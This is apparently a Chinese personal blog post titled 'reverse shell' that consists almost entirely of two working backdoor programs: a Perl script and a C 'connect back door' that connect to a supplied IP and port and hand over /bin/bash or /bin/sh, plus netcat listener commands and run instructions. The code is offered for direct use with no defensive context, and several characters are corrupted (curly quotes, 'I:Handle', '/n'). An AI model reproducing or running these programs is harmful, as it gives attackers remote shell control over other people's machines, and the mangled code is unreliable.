侧边栏壁纸
博主头像
落叶人生博主等级

走进秋风,寻找秋天的落叶

  • 累计撰写 130562 篇文章
  • 累计创建 28 个标签
  • 累计收到 9 条评论
标签搜索

目 录CONTENT

文章目录

反弹shell

2023-04-16 星期日 / 0 评论 / 0 点赞 / 73 阅读 / 3107 字

#!/usr/bin/perl -w # use strict; use Socket; use I:Handle; if($#ARGV+1 != 2){ print “$#ARGV

.

#!/usr/bin/perl -w   
#   
 
use strict;   
use Socket;   
use I:Handle;   
 
if($#ARGV+1 != 2){   
       print “$#ARGV $0 Remote_IP Remote_Port /n”;   
        exit 1;   
}   
 
my $remote_ip = $ARGV[0];   
my $remote_port = $ARGV[1];   
 
my $proto = getprotobyname(“tcp”);   
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));   
 
my $shell = ‘/bin/bash -i’;   
 
socket(SOCK, AF_INET, SOCK_STREAM, $proto);   
 
STDOUT->autoflush(1);   
SOCK->autoflush(1);   
 
connect(SOCK,$pack_addr) or die “can not connect:$!”;   
 
open STDIN, “<&SOCK”;   
open STDOUT, “>&SOCK”;   
open STDERR, “>&SOCK”;   
 
print “Enjoy the shell./n”;             
 
system($shell);   
close SOCK;    
 
exit 0;   
本机执行netcat.命令

nc -l -p 8080 -vv

远程:

./tcp.pl yourip 8080

perl和bash路径要自己修改,不过一般不用修改的.

文件改为755再运行.否则执行不起来
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]=”/bin/sh”;
char message[]=”s8s8 welcome/n”;
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf(“Couldn’t make socket!/n”); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf(“Could not connect to remote shell!/n”);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,”/bin/sh”,(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
   printf(“/t/ts8s8 connect back door/n/n”);
printf(“/t [email protected]/n/n“);
printf(“Usage: %s <reflect ip> <port>/n”, prog);
exit(-1);
}
gcc -o f f.c

再在本机上监听一个端口

nc -l -p 8888

再执行./f 192.168.1.14 8888

注:反弹回来的 shell没提示符。

.

广告 广告

评论区